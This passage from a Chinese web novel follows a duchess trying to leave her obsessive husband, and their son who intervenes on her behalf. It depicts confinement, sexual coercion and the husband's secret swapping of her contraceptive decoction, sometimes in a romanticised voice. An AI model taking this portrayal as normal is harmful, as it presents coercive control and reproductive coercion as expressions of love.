想来,就算以后府里多出几十个妾室美人来给她添堵敬茶,她也不会放在眼里,甚至还会贴心顺意的为他调理身体,好让他从此再顾不上她…… 被自己的设想气得怒意上头的薛琮,握着沈怀栀的手放到了自己脸上那些被打出来的痕迹上,直言道,“我脸上这些痕迹什么时候消失,我什么时候放过你。” “什么意思?”沈怀栀惊疑不定的道。 两人的卧房里是有密室的,薛琮抱着人动作利落的进了密室,将沈怀栀关在了里面。 已经觉出不妙的沈怀栀神情抗拒的看着眼前的一切,眉眼间阴翳重重,“薛琮,你打算囚禁我?” “并不,”薛琮当着她的面扔了自己的外袍,神色冷静道,“我只是觉得,你需要认清一个事实。” 在沈怀栀不可置信的眼神里,他简明扼要的道,“只要我一日不松口,你就一日是我的妻子,我从前就是太放任你了,才让你觉得羞辱我背叛我是如此无足轻重的一件事。” “老话都说,床头打架床尾和,这次,我要你先开口同我求和。” 刀锋般锐利的眼神落在沈怀栀身上,仿佛要划破肌肤直刺心脏,她忍不住打了个冷颤,下意识就想逃开,却被薛琮无情的重新掳回怀里。 “真珠,”带着些温柔甜腻的声音响在耳边,她听到薛琮说,“这次,除非你主动开口求我,否则,我决不主动。” “只要你能熬得住。” *** 沈怀栀在密室里待了三天,薛琮诚如他所说,没有囚禁她。 当最后一日早晨她在自己那张熟悉的床榻上醒来时,倏忽之间竟有些陌生感。 她躺在那里,听着外面冬娘吩咐人做事的声音,想着她和薛琮之间撕破脸之后对彼此的质问和指责,心中沉沉。 彼此厌恶,却还要纠缠在一起,无异于折磨。 她是不打算陪薛琮继续下去的,因此在冬娘进门时,直接吩咐她道,“给她我备碗养身汤,顺便,简单收拾些东西,我去清晖园里住上一阵。” 养身汤,顾名思义,是保养身体的,对沈怀栀而言,不再怀孕就是她对自己最大的保养。 冬娘领命而去,临去前,有些担忧的看了她一眼,似乎想说些什么。 沈怀栀对她笑了一下,轻声道,“从此以后,我与国公大人之间是不能善了了,你只当,他是我不死不休的仇敌吧。” “冬娘一切听夫人的。” 第55 章 第55章 前世梦境三 沈怀栀在清晖园里住得极好,白日里她总有忙不完的事情,田间地头走过,花房暖房待过,只要她愿意对国公府那摊子事撂开手,她这日子就能过得舒坦无比。 尤其是,这几日薛琮既不来烦她也不曾派人来扰她后,管他心底是什么想法呢,沈怀栀是一天都不舍得浪费这清静的好日子。 只除了儿子女儿让她担心一二。 但到底孩子大了,还是被双亲们自小宠爱着长大的,现下国公府的权势如日中天,也甚少有不长眼的人来碍眼,就算两人真想吃些苦头,只怕最苦也不过是生病时喝药的苦。 当然,这主要是她那个被丈夫宠溺得有些任性的女儿,至于儿子,一早就作为继承人被薛琮培养,在她看不见的地方可以说是久经磨砺,这不,前阵子她生辰时人之所以不在京里,就是小世子主动领命去地方剿匪去了,说是要效仿父亲年轻时的作为,锻炼自己。 作为一个开明的母亲,沈怀栀自然是不会阻拦的,更何况,她本就打算在生辰那日同薛琮摊牌,所以即便这次女儿任性要同兄长一起去,她也在佯装为难之后,选择了同意,只不过额外增添了许多护卫罢了。 就这样,她在庄园里一边忙碌一边等待孩子们回京的消息。 初七那天早上,天有些阴,她正坐在廊下给孩子们做荷包,耳旁突然响起熟悉的声音,“猜猜我是谁?” 眼睛被蒙住的沈怀栀忍不住笑出声,“这可有点难猜,也不知道到底是我的宝贝儿子还是我的宝贝女儿。” 身后响起清脆笑声,薛礼安还未开口,脾气向来有些急躁的薛梦婉已经欢喜的出声道,“娘,我的好阿娘,我好想你啊!” 沈怀栀刚起身,就被跑过来的小姑娘扑了个满怀,一迭声的同她亲昵,旁边的薛礼安笑眯眯的看着眼前这一幕,已有几分稳重风姿。 儿女俱在身旁,沈怀栀心情便格外好,她仔仔细细的看过女儿,又打量过又长高不少的儿子,见两人俱是毫发无损的模样,才温声道,“你们两个,这次可真是去了不短时间,幸好今日回来了,不然阿娘还要再担心一段时日。” 薛礼安见母亲甚为担忧的模样,微微笑道,“本来该早些回来的,路上想起错过母亲今年的生辰,便想着给母亲再补一份生辰礼,这才又耽搁了几天。” “阿娘,生辰礼是我同哥哥一起准备的,你一定会喜欢的。”神情快活的薛梦婉抱着母亲笑眯眯的道,“反正肯定比父亲的礼物讨你喜欢。” “你们两个就是我最好的生辰礼了,”沈怀栀笑道,“总归,只要看见你们,母亲就心里欢喜。” 天生与她血脉相连的孩子,被她一点一滴的用爱与心意抚养长大,就算有时候闹得人头疼心焦,也不妨碍她永远深爱他们。 两个孩子,相貌上都更酷似薛家人,都是一等一的出挑长相,只不过性情却和他们那个冷酷的父亲截然不同。 薛礼安自小就是个贴心懂事讨人喜欢的孩子,无论做人做事都极为周全,薛琮纵然疼爱这个儿子,有段时间在沈怀栀面前也露过口风,认定他过于心慈手软心怀仁善,总之,对孩子的脾性不太满意。 沈怀栀眼里,自己生养的孩子再好不过,对薛琮的话自然是不认同的,但等薛琮提及礼安日后要执掌家业,想想皇权更迭之时的腥风血雨,她便是不忍,也只能由着这个严父背着她对儿子摔打磨练。 现在看来,身为定国公世子的礼安已然有了几分骄人风姿,是值得父母骄傲的优秀继承人。 “……哥哥还带我去山上抓兔子了,我们还遇到一只鹰,就是可惜哥哥没帮我打到手,让鹰跑了,不然我就能带回来一只威风凛凛的雄鹰给阿娘看了……”薛梦婉说着他们一路上的见闻与经历,言谈间还有几分遗憾与可惜。 沈怀栀看儿子无奈神情,就知晓他必定是故意的,这孩子的骑射是薛琮一手教养,格外出色,只怕是不想妹妹身边多个危险的活物,所以才佯装失手。 “虽然没了鹰,但我不是许诺送你一只会说话的鹦鹉吗?”薛礼安看着妹妹道,“鹰有些危险,你想想看,父亲会不会允许你养在身边。” 薛梦婉噘噘嘴,就算心知兄长说的是对的,心里也是不服气的,一转身蹭到母亲怀里撒娇去了。 陪着两个孩子说了会儿话,知道两人还未用饭后,沈怀栀立刻吩咐丫头去备饭备热水和干净衣裳,等两人用过饭洗完澡后,这才转身光彩熠熠的出现了。 “我一看就知道是阿娘的手艺,”薛梦婉看着新裙子上的绣纹高兴道,“前阵子阿娘还说要给我做件新裙子呢,没想到这么快就做好了。” 薛礼安看着新发带上绣着的安字,同样眉眼生辉,“辛苦母亲了。” 两个孩子高兴,沈怀栀自然心情更好,所以当薛琮不请自来出现在她面前时,看在孩子们的面上,她如往常一般和他做着相敬如宾的夫妻。 薛琮同儿子说正事的功夫,沈怀栀陪着女儿去园子里赏春,看着小姑娘兴高采烈的脸,她知道最好的选择是一切照旧,维护好眼前这看似平稳的一切。 毕竟,这天底下如此多的夫妻日子都是这么过的,为何她非要冒这个险同薛琮撕破脸面,闹到最后以致于大家只剩难堪。 一桩婚姻里,情爱是最不重要也最不值钱的东西,若为此闹和离,只怕是个人知道了都要唾弃一句不知羞耻,沈怀栀从来不是不知好歹的人,她很清楚,她若坚持和离的话,任谁都不会站在她身边。 最后,她的下场只会是孤立无援,被人唾弃嘲笑。 “阿娘,你在想什么,怎么看起来不高兴啊?”薛梦婉凑过来问道,眼神里俱是关心与担忧。 沈怀栀揽着女儿的肩膀,行走在花香满地的春日绿草之上,语气悠悠的道,“阿娘在想,你这次同哥哥出去,一定看到了许多从前不曾见过的新鲜东西,有些羡慕我们婉婉而已。” “那下次哥哥出门时,阿娘同我一起去,”小姑娘笑嘻嘻的道,“有阿娘陪着我,一定会更开心。” “是啊,一定会很开心的。”沈怀栀感叹道。 只可惜,只要她一日是薛家妇,是薛琮的妻子,就永远没有可能拥有这样的开心。 她最宝贵奢侈的自由,也不过是拥有一个清晖园和一株海棠树而已。 晚饭是一家人一起用的,虽然大家规矩是食不言寝不语,但宠溺孩子的父母总是会稍稍纵容一些无伤大雅的小习惯的,尤其薛琮从前一忙起来就没个准数,饭桌上的亲子相聚时光就越发显得珍贵,也因此这个习惯才延续了下来。 薛梦婉久不见父亲,同样有许多话要说,偶尔还要同对方撒娇,倒是薛礼安,渐渐长大之后身上多了几分父辈的影子,为人稳重又宽和,很有兄长之风,在一旁笑看着亲人团聚。 只是,目光偶尔落在父母之间,便隐隐有些波动,尤其是看母亲时,总会生出两分自己都没注意到的隐忧。 亲子时光结束后,孩子们回了自己的院子歇息,沈怀栀看着今晚不打算走的薛琮,神色冰冷的道,“今晚你别睡在我这里。” 薛琮神情自在的翻看着手中的书,语气平淡的道,“夫人忘了,我们还未和离。” 见沈怀栀依旧是眉眼生怒的模样,他看着眼前这因为怒气愈发显得活色生香的美人, 似笑非笑道,“若是夫人当真不愿我睡在身边,也不是不可,只需为我安排一个美人即可。” 闻言,沈怀栀既有些意外也仿佛有些松口气似的,直接道,“可以。” 想了想,她又问道,“你看中了谁,要我怎么安排?” 薛琮看着她,轻笑一声道,“冬娘,我看中了冬娘。” “你说谁?”沈怀栀几乎是立刻惊怒交加了,看着薛琮的眼神宛如在看一个不知羞耻的卑劣之徒。 倒是薛琮一副无所谓的模样,淡声道,“我说,我看中了冬娘。” 沈怀栀忍了许久,才忍下骂人的冲动,语气极差的道,“冬娘不行,换一个人。” 明知薛琮是故意的,她还是怀着两分奢望又继续问了一遍。 “不是你就是冬娘,夫人二选一吧,”薛琮放下书,走至妻子身边,居高临下俯视她,“真珠,你总要明白,拿捏你是再简单不过的一件事。” 毕竟,满身软肋的沈怀栀,怎么都斗不过一个心硬如铁的薛琮。 最后,这晚薛琮终是如愿以偿的躺在了心爱的妻子身边,纵然对方视他如无物,视他如难堪与污秽。 但这都不妨碍他态度强硬的怀抱佳人。 夜晚的床帷之中,薛琮抱着背对他态度冷漠的妻子,抚着对方乌黑顺滑的长发低声耳语道,“前两日,听说有人悉心向夫人求教,求教夫人是用了何种手段才让我屡屡将那些女子拒在外面的。” 这话一出,沈怀栀立时知晓当时那位来拜访的赵夫人和她之间所谓的私密话全被人听了个干净,她面无表情的想,自己那时是如何回答的呢。 “……与其说我用了什么办法,不如说是那些人不得国公欢心,若真是有中意的,以大人的脾气,恐怕我就是想拦也拦不住,所以,说到底,还是人不够讨大人欢喜。” 这话沈怀栀说得真心实意,且也当真是这么认为的,但看那位赵夫人的反应,面上虽附和,心底恐怕却是不以为然的,甚至于还让她窥出了两分真实心思,约莫在对方心底,她应当就是那种日日夜夜围着男人转用尽手段阻止男人纳妾的妒妇罢了。 至此,她再不与那位赵夫人说什么,只聊了几句闲话就端茶送客,只是以后,她却是不会再接对方的拜访帖子了。 本以为还算是个能聊两句的人,但接触的多了,到底没什么深一些的缘分。 “不够讨我欢喜……”薛琮品味着这个回答,转而问沈怀栀,“夫人心里,什么样的女人才算讨我欢喜?” 沈怀栀懒得答,薛琮却不肯罢休,他那双手极不老实,到处作乱,最后终于逼得沈怀栀松口,“约莫是太后娘娘那种吧。” 闻言,薛琮嗤笑一声,仿佛对这个答案不屑一顾般,扣着她的腰低声道,“看来夫人是既不了解男人,也不了解我。” “真正讨我欢喜的人,”他压低了声音同她耳语,“得先让我有兴致睡上个百八十遍。” 这世间,除了真珠,还未曾有女人能上得了他的床榻,不过这就不必告诉他那红杏出墙的妻子了。 这晚,薛琮照旧手段高超的碰了佳人,大概是心情好且几日未见,床上更是表现不凡,以致于最后他想说上几句闲话时,沈怀栀是半分精神都无。 人在他怀里气息平复后便陷入沉睡,他盯着她看了一阵,心情时好时坏。 心情好时爱她入骨,恨不得从此融为一体,心情不好时,每想起一次往事就想掐死她一次。 就像那三天被他困在密室里,她情绪崩溃时说的那些话—— “我为什么不能爱他?” 她满眼是泪的反问他,“无论我做女儿,做妻子还是做母亲,这世上只有怀逸一个人拼命爱我护我,为了我义无反顾,为什么我不能爱他?” 是啊,为什么你不能爱他? 薛琮想,当然是因为你只能爱我,爱你的丈夫,爱你孩子的父亲。 可这些现在已经没有必要同她说同她争执了,沈怀栀那颗早就冷硬的心,不会为此有半分动摇,他更不必自取其辱。 薛琮视线落在她平静的睡颜上,低头凑过去亲吻了她。 还记得有一次,他不过是意图亲吻她,就被她毫不犹豫的拒绝,还差一点甩了耳光,那时候他就知道,她不可能回头了。 果然,那之后到现在这么多年,无论他对她好还是坏,她都不怎么在乎,日子好也能过,坏也能过,他在能过,不在也能过,有没有薛琮这个人对她来说都变得不那么重要了。 他再也看不到从前她喜欢他时的那些眼神,可不管她喜不喜欢,她都是他的妻子,他们之间有一对儿女,无论生前死后她都要同他在一起。 可这点原本还算坚定的信念,在他发现她开始生出同他和离的心思后,已然彻底崩塌。 盘桓在心间多年的憎恨恼怒乃至于意难平,都变成了他不能释怀忽视的痛苦,堵得薛琮即将窒息,以致于最后,他在她眼前变成了这副模样。 现在,她的心在哪里已经没那么重要了,重要的是,她的人在哪里。 隔日晨间,当冬娘低调的送来养身汤时,沈怀栀还未喝上两口,就听站在门口的薛琮神色平静的道,“不必喝了,这汤药无用。” 第56章 第56章前世梦境四 两人僵持中,冬娘接过那碗汤药,在沈怀栀的示意下,神情担忧的看了她一眼后,带着所有丫头们退下,将谈话的空间留给了两人。 沈怀栀坐在那里,面无表情的看着薛琮,“你什么意思?” 薛琮走近,抬起她的下巴仔细打量道,“作为避子汤来说,它肯定是无用的,但作为养身汤而言,它还是有些许效果的。” 话在脑子里转过之后,沈怀栀慢慢的想明白了,但脸色也随之难看起来,“这药,过了你的手?” 薛琮没回答,只是轻抚着她的脸颊,那动作应当是很温柔的,但却让沈怀栀脊背寒毛直竖,她有种预感,仿佛下一瞬对方就会毫不留情的掐着她的脖子置她于死地。 这种感觉让她极为不适的偏过了头,薛琮手上动作一顿,那手就顺势滑到了她后颈,留下令人心惊胆战的触感。 沈怀栀没忍住去看薛琮的神情,注意到她的眼神,他露出点笑,在她身旁坐下,“怎么,你现在是在想我什么时候知道的这些,还是怕我生气对你动手?” 她沉默了下,才道,“或许都有。” “当年我既然没对你动手,现如今便也不会,”薛琮语气漠然道,“总归在我最生气最恨你的时候都没动手,如今是更不用担心了。” 沈怀栀没料到会听到这些,她迟疑许久,终于问了出来,“你什么时候知道的?” “很多年了,”薛琮淡淡道,“还记得有一年你生病,大夫私底下跟我说你脉象虚寒不易受孕,我却是不信的,你身体一向很好,虽有些小病小痛,但远不至于如此。” “我那时便知道,你是不愿意再继续生孩子的,正好,我们已经儿女双全,不生也没什么,所以我便让人换了你的药。” 说着,他朝她看了一眼,“你素日里一向不爱喝苦药,就算是为了保养身体,也常常三天打鱼两天晒网,没什么长性,没想到避子汤竟是一日日坚持了下来,索性我也不再同你商量,直接将避子汤换成了养身汤,省得还要费时费力哄你喝药。” 沈怀栀因为这番话沉默下来,薛琮却还有话要继续说,“我那时候怜惜你,觉得你不想生便不生,总归男人避子比女人方便,少碰你几次也不影响什么,倒是没想到,我给你的这点宽纵,让你心里养出了别的男人出来。” “毕竟,你后来不仅是避子,还开始避开我的亲近,我就知道,你的心思不单纯了。” “所以,你那时候说想要孩子,也不过是试探我罢了。”想起经年旧事,沈怀栀平静道,“怕是我的反应,让你很不满意。 ” “何止是不满意呢,”薛琮喃喃自语,“你该庆幸,那时候有个先帝顶在前头,我不舍得对你动手,却是能对这个觊觎臣妻的无能皇帝下狠手的。” “真珠,你看你多招人喜欢啊,走了一个怀逸,还有一个先帝,个个都想从我身边抢走你,我但凡松一松手,你现在就在别的男人怀里了。” 薛琮捧着她的脸与她额头相贴,低声道,“不过你放心,生,你跟我一起,死,你也跟我一起,我绝不会把你一个人丢在世上。” 沈怀栀觉得薛琮疯了,她也是这么说的,“薛琮,你不太正常。” “家学渊源而已,”薛琮轻描淡写的道,“若是你知道我祖父祖母父亲母亲都做过些什么,就不会觉得我奇怪了。” “总归,薛家和崔家的血脉,都不怎么好。” 想起多年前过世的薛太夫人,沈怀栀一言不发,那位老夫人自她嫁进薛家后,便待她很好,除了身体不好时想早些抱重孙,从无任何让人抱怨之处。 也幸好她怀礼安的时间较早,正是薛琮镇守边疆那几年,虽说日子有些难捱波折较多,但因为有怀逸从旁帮忙,日子过得也算平顺。 老夫人顺利看到重孙降生,也享了几年天伦之乐,除了那时候少见薛琮之外,其他一切都还算尚可。 不管薛琮的祖父母和父母做过什么,那两代人之间曾有过什么样的故事,沈怀栀都不在意,她只在乎一件事—— “你今天和我挑破避子汤的事,有什么打算?” 薛琮从来不是无的放矢之人,沈怀栀不觉得他突然揭破这些只是为了说闲话,必然是有目的才蓄意为之。 “你问我有什么目的?”薛琮静静的看着眼前这个女人,他们夫妻多年,他早已看过她无数次,却依旧看不倦看不厌。 她在他眼里总是好看的,从最初他将她放在眼里开始,她就和任何人都不同,后来等两人生出嫌隙,再到她移情别恋,他看她依旧很美。 就像现在,他只是看着她就心旌神摇绮念丛生,而她呢…… 沈怀栀如今有个毛病,比如闻不得某些脂粉的气息,有段时间他还以为是她心生悔改,开始介意出现在他身边的女人,但薛琮试探过后,才发现自己是自作多情。 她不是讨厌他身上的脂粉气,她只是闻不得某些和催情香药类似的味道,而她这个毛病,却是那年她在宫中遇险后被他带去密道解药性之后才留下的。 那时候她已经有些抗拒他的亲近,但薛琮从不清楚这个抗拒到了何种地步,直到追根溯源弄清这点儿过往真相之后,他才发觉,她对香药的过敏根由是他。 归根结底,不过是她不喜欢他的亲近罢了。 所以他说,沈怀栀对他的羞辱他早已习惯,毕竟,过往这一桩桩一件件,全都是薛夫人做下的,他们两个真的是半斤八两天生一对,合该凑在一起祸害彼此。 “真珠,”薛琮把她紧紧地抱在了怀里,低声耳语道,“再为我生一个孩子吧。” 在沈怀栀满是抗拒的眼神里,他慢慢的又补充了一句,“只要你生,我就同意和离。” “我说到做到。” 以薛琮的眼力,清楚的看到了妻子那一瞬间短暂的动摇,你看,她是如此急切的想要摆脱他,为此竟然愿意考虑如此荒谬的条件,即便动摇过后她立刻恢复了清醒,但薛琮也已清楚的知道她的决心与底线。 他等待答案的时间并不长,沈怀栀很快给出了回应,“不可能。” “我不生。”她说,“我是要和你分开,但更不会本末倒置。” 闻言,薛琮笑着叹了口气,“好吧,既然这是你自己选的,日后便怪不得我了。” 她坐在那里,半分不为他的态度与言辞所动,仿佛又开始思考该如何摆脱他的控制。 即便心为此时时刻刻揪成一团,薛琮面上依旧纹丝不动,他只是抱着她,看外面那株早就该被烧得点滴不剩的海棠树,神情冰冷。 她在海棠树下痛苦哀戚那晚,他亲眼目睹了她的崩溃与痛彻心扉,也亲耳听到了她的隐忍压抑与几近失声,纵然不想承认,他也知道自己自此一败涂地。 活人永远争不过死人,尤其还是一个待她诚恳真挚一心一意的陈怀逸,那时候,就连憎恨都是绝望的无力的。 他除了死死的抓着她不放之外,甚至不知道该如何才能从死去的陈怀逸手里夺回她那颗心。 幸好,他们还有两个孩子,他想,就算是用孩子作为筹码也好,他也要死死的绑住她,抢回她。 只可惜,薛琮虽然是这么打算的,奈何天不遂人愿,他的儿子薛礼安,无愧于父亲的夸赞,将自己那份骄人的聪慧用在了襄助母亲得偿所愿上。 第57章 第57章前世梦境五 暖洋洋熏人的初夏微风里,无论是定国公府还是清晖园内的气氛都不怎么好。 原因不外乎是当家做主的两位镇山大佛情绪不佳。 对伺候的下人来说,国公大人的冷漠是数年如一日令人习以为常的,众人早已习惯,但当夫人开始“冷”起来时,府里仿佛立刻进入了数九寒天的冬日,置身其中宛如置身冰窖,冻得人从心到身可谓是瑟瑟发抖。 因为一对儿女的原因,沈怀栀暂时从清晖园搬回了府里,她知道自己现在的打算是迟早要同一对儿女讲明白的,就算孩子们不理解不支持,她依旧要按照自己的心意去过活。 于是,这段时间在府里,她看似依旧做她的好主母,实则心里每天都在掂量着开口的说辞与时机。 至于薛琮,自从那日被她拒绝之后,就恢复了往日的冷淡与沉默。 但是,掌控权势的男人的沉默却并非一般的沉默,这种人的沉默是充满压迫与威势的,即便它看起来悄无声息,但身处其中的人都会不由自主的为之退让屈从,以致于所有人都陷入了一种小心翼翼与风声鹤唳里。 沈怀栀自然是不快的,但这种不快却又难以明说,且她在孩子们面前还妄图粉饰太平,久而久之越发觉得心情不畅。 微风吹过廊下,换来眼前缤纷花木簌簌声响,正给儿子打络子配玉佩的沈怀栀察觉到一旁那人落在自己身上的目光,抬眼看了过去。 不笑的薛琮令人望而生畏,他就那样沉默的用视线逡巡着她,仿佛考量又仿佛评估,又似乎纯粹的只是在看她,并无什么其他想法,若换作以往,沈怀栀也只会以同样的沉默与冷漠回应他,但这会儿她心中突然有些烦躁,反而不打算照旧了。 于是,她放下打了一半的络子,对薛琮露出了两分虚伪笑意,“你若是不忙,不如来帮帮我如何?” 执笔拿剑的手来给她打络子,正好物尽其用,反而这儿子也不是她一个人的宝贝儿子。 闻言,薛琮放下手里看了一半的书,毫不客气的坐到了沈怀栀身旁,“要我帮你做什么?” “你儿子想要一个新络子,”沈怀栀道,“我手疼,你来做给他。” 因着她脸上近来难得的笑意,就算满是虚伪也好,薛琮冷了好些天的脸上也为此有了软化之意,他嘴角微微翘起,温声道,“这东西我可不会,你若是想要我帮忙,还得先教会我。” 沈怀栀看了他一眼道,“希望你是个有悟性的好学生吧。” 结果,一个是真的想要把人教会,一个是真的有在认真学习,两相得宜之下,这络子倒还真做得不错。 或许是这短暂的相处让彼此心情都不错,周围伺候的人瞬间松了口气,个个都难免生出几分劫后余生的松快之情。 然而,沈怀栀的那点好心情终归是短暂的,一旦她敛去笑意面无表情,顷刻间两人之间就仿佛回到冰点。 这时,与她身处一室的薛琮就该再度变成冰山了,而即便他表现得如此明显,对方也全然不看在眼里,照旧我行我素,以致于两人再度陷入彼此较劲的境地。 冬娘知道自家夫人心情不快的根由,纵然一力支持夫人的想法,此时也不免忧心她如今的处境来。 “夫人,世子回府了。”冬娘出言提醒道。 听到这话的沈怀栀停下手中针线活,视线看向窗外,见状,旁边软榻上闭目养神的薛琮突然道,“怎么,又在想着怎么糊弄你的宝贝儿子了?” 第58章 第58章前世梦境六 “那你的意思是,不粉饰太平,实话实说?”沈怀栀冷漠道,“就算我有说实话的勇气和决心,礼安也不见得想知道你我之间这点儿纠葛。” “知不知道有什么关紧,”薛琮语气里透出一股无所谓的意味,“我只有这么一个儿子,这么一个用心培养的继承人,只要我还不打算废掉他,他的母亲如何,其实并不怎么重要。” 说着,他转身看向沈怀栀,语气微微嘲讽道,“大概也是因为如今礼安的位置稳了,你才愈发有了违逆我的底气,你们两个,不管是母凭子贵,还是子凭母贵,总归是母子一心,都不介意惹我生气的。” 这话说得格外意有所指,沈怀栀如何能当做听不到,便也直接问了,“礼安做了什么事惹到你了?” 薛琮深深看她一眼,只给出了四个字,“无可奉告。” 闻言,沈怀栀立时歇了追问的心思,只在儿子进门时,依旧做她温柔慈爱的好母亲,维系着同薛琮之间的虚假太平。 一家人的日常看起来好似同往日没有半分区别,但当背着沈怀栀时,薛琮同薛礼安这对父子对视的眼神里,是只有彼此才心知肚明的微妙。 薛琮看着这个自己一手教养长大的儿子,想起那日父子二人之间的那场隐秘谈话。 试图隐瞒一个聪明人并不是件容易的事,至少对薛礼安来说是如此。 和尚且有些天真迟钝的妹妹不同,他早早的发现了父母之间的矛盾与异样,在当他观察到足够多的蛛丝马迹之后,他最先选择的,是同父亲摊牌。 国公府前院独属于父亲的书房内,尚且有些青涩的少年摆出了认真同父亲对谈的架势。 “说吧,”站在窗前负手而立的薛琮看向自己的儿子,语调里尽是漫不经心,“你想和我说什么,为父现在倒是有些兴致听上一听。” 薛礼安看着父亲的眼睛,上前一步躬身行礼,用清朗的声音直言不讳的道,“我希望父亲,能允许母亲离府别居。” 话落,薛琮终于彻底转过身来,刀锋般锐利的目光落在儿子身上,语调有些阴沉的道,“礼安,你真的清楚自己在说些什么吗?” 充满审视与压迫的眼神落在身上分外有重量,但薛礼安依旧选择不闪不避的直面父亲,他挺直了脊背,一字一句清清楚楚的又重复了一遍方才的话,“我说,我希望父亲能允许母亲离府别居。” 至此,薛琮终于清楚明白他这个好儿子在打什么主意了,他目光沉沉的打量着自己这个精心培养的继承人,摆出了正式谈话的姿态,语气淡淡道,“既然我和你母亲之间的事,你已经有所察觉,那如今的要求,看来就是你思考和选择的结果了。” 薛礼安深吸一口气,缓缓道,“父亲明鉴。” 书房内一片寂静。 置身其中的薛礼安,在沉闷凝滞到让人几近窒息的氛围中,依旧维持着他那副不肯妥协退让的姿态。 薛琮看在眼里,只淡淡的评价了一句,“如此来看,你倒还算孝顺你母亲。” 虽然这份孝心,是在明晃晃打亲生父亲的脸。 显然,薛礼安很清楚自己在做什么,他朝着薛琮又躬身行了一礼,继而才道,“不管父亲日后要如何罚我,我的想法都不会变,请父亲允了我所请。” “如若我不肯应呢?”薛琮问道,“你待如何?” 薛礼安没回答父亲的问题,只是突然说起了一件不相干的往事,“……明知道我是在无理取闹,也不应该将那么贵重的东西交给我随意玩耍,但是母亲在问过我知道我就是想要之后,冒着触怒您的风险,她依旧尽己所能的满足了我。” 说完这件童年往事之后,薛礼安看向他威严深重的父亲,轻声道,“我如今不过是做了和母亲一样的事罢了。” “现在的我能满足母亲的愿望,能让她开心,所以我选择,让她开心的过日子。” 说实话,薛琮是有些惊讶的,但惊讶过后,也有几分意料之中的感觉,毕竟是自己亲手培养的继承人,从前总觉得儿子不曾经历风雨,有些仁弱,现在再看,他似乎有点小看这个儿子了。 于是,对于这样敢于直撄其锋的薛礼安,他也愿意多些耐心,虽然两人谈的事着实让他不虞。 “说说你的想法吧。”薛琮道。 薛礼安选择开门见山,“父亲母亲之间的事我并不知内情,也无从判断好坏对错,但我知道一件事——” 他直视着父亲的眼睛,一字一句道,“和母亲比起来,父亲是自由的强大的,有无数种或好或坏的选择,而这些,母亲未曾拥有。” “所以,就算说我偏心也好,至少在父亲这里,我是无条件偏向母亲的。” “就算会触怒我,动摇你的世子之位?”薛琮问。 “就算会触怒您。”薛礼安道,“这是父亲自小到大教导我的,握在手里的东西要护好,不管是人还是权力,母亲对我这么重要,我当然要护好她,即便对手是您。” “决心不错。”薛琮点评道,“人要想保护好重要的人事物,那就要拥有权力,你觉得,你现在有和为父抗衡的本钱吗?” “我的权力都来自于您,老实说,我并没有信心,”薛礼安摇摇头,“但是,我想保护的人是我的母亲,您的妻子,父亲,我能不能如愿,全看您如何打算了。” “你倒是会反将一军。”薛琮缓步走到儿子身边,抬手抚上少年人单薄的肩膀,轻轻拍了拍,“你觉得,这对为父而言,是难题吗?” 父亲的声音很轻,落在肩上的手却格外重,薛礼安在这份重压之下依然挺直了脊背,“那就要看在父亲心里,母亲到底有多重了。” “说到底,你不过是在赌。”薛琮盯着儿子看了许久,忽然笑了,“好,很好,不愧是薛家的血脉。” “不过,让你母亲离府别居是不可能了,”薛琮冷酷的道,“你还是趁早歇了这个心思吧。” 对这个结果,薛礼安好像并不太意外,他低头思索了一会儿之后,继续道,“既然父亲不同意,那让母亲出京散心一段时间如何?正好前阵子边关北境梁州密报,又有陇西粮草案乱局,您既已打算安排我外出历练,不妨趁此机会让母亲一同离京,只是短暂数日的话,应当是可以的吧。” “为父可以夸你一句懂得变通,”薛琮道,“但很可惜,我的答案依旧是拒绝。” 再度被拒绝的薛礼安依旧不见气馁,他深深吸了口气,撩起衣摆跪在了父亲面前,“父亲,依我所见,您暂时和母亲分开一段时间,或许对彼此都好。” “薛礼安,几次三番违逆为父的决定,就是你的孝道?”薛琮走到儿子面前,微微冷笑道,“看来你今日是不达目的誓不罢休了,这点上,你倒是和你母亲一脉相承。” 此刻,书房香炉内的熏香浓郁得让人窒息,薛礼安听到自己的心跳在一下又一下的沉重缓慢跳动,安静的房间内唯有他的声音最为清晰。 “父亲,我以为,母亲确实需要脱离您的阴影,好好的清净的过上一段日子,而这京中因为父亲生出的风波,也该到了落幕之时。”薛琮抬起头,“有些事,您总该给母亲一个交代。” 薛琮意识到,儿子应当是已经知晓外面那些乱传的风言风语了。 对薛礼安而言,有些事情,从前不在意时,没人敢在他面前胡言乱语,但当他想要知晓一切时,任何点滴消息也都不会被遗漏,所以,不管真相到底是什么,他只需要知道母亲受了委屈,她过得不开心这个事实就足够了。 “和京中其他人家相比,我们国公府很清静,但不管是清静还是不清静,只要母亲不喜欢,那就不算是好日子。”薛礼安沉声道,“我如今有能 力让母亲过上她喜欢的生活,那我就要满足她的愿望。” 这是第一次,薛琮在亲手培养的继承人身上看到了锋芒与獠牙,他突然觉得,这个孩子骨子里果然还是像薛家人的,毕竟,薛家的血脉,为了自己重要的人,那是什么事都能做得出来的。 “满足你母亲的愿望……”薛琮缓声重复了一遍,最后道,“既然如此,那就展现你的决心和能力让为父看看吧。” “毕竟,我也有些好奇,你到底要如何为你母亲达成所愿。” *** 花园中,初夏的微风吹过,带起层层绿波,沈怀栀站在生机勃勃的药田里,不紧不慢的为药草们浇水除草。 正忙着整治药田的她,等来了几日不见人影的薛琮。 这几日薛礼安同样忙碌,比起关系不如何的丈夫,她当然更挂念同样几日未见的宝贝儿子,“你给他安排了什么差事,以致于日日忙得不见人影。” 薛琮定定的看着她许久,末了漫不经心的道,“他日后是要去军中领兵的,自然要在军营里多待些日子,这京中六营十二都统诸多千总,他总要花些时间接触,哪有空闲日日陪伴在你身侧,你与其指望他,倒不如来问我。” 闻言,沈怀栀停下浇水的动作,轻声叹了口气,“说的也是,孩子长大了,总要有自己的生活。” 薛琮觉得好笑,“他也不是一日就长这么大的,这么多年了,难道你还没习惯?” 沈怀栀没理他,继续安静的照顾自己的药草,倒是薛琮没忍住,突然道了一句,“你倒是养了一个好儿子。” 莫名从这句话里听出了几分阴阳怪气,沈怀栀看他一眼,神情坦然的道,“我儿子确实很好。” 总归在她这里,儿子是比父亲要好很多的。 薛琮没再多说,闲来无事般,陪她在花园里做了一回不熟练的农夫,而过了几天之后,沈怀栀终于知道自己的好儿子在忙些什么了。 不得不说,他着实给了自己的双亲一个大“惊喜”。 第59章 第59章前世梦境七 “惊喜”到来的那天是个令人神清气爽的好天气,沈怀栀正喝茶赏花的功夫,就见冬娘神情怪异的走进来,有些为难的看了她一会儿后,才道出了令她如此的理由。 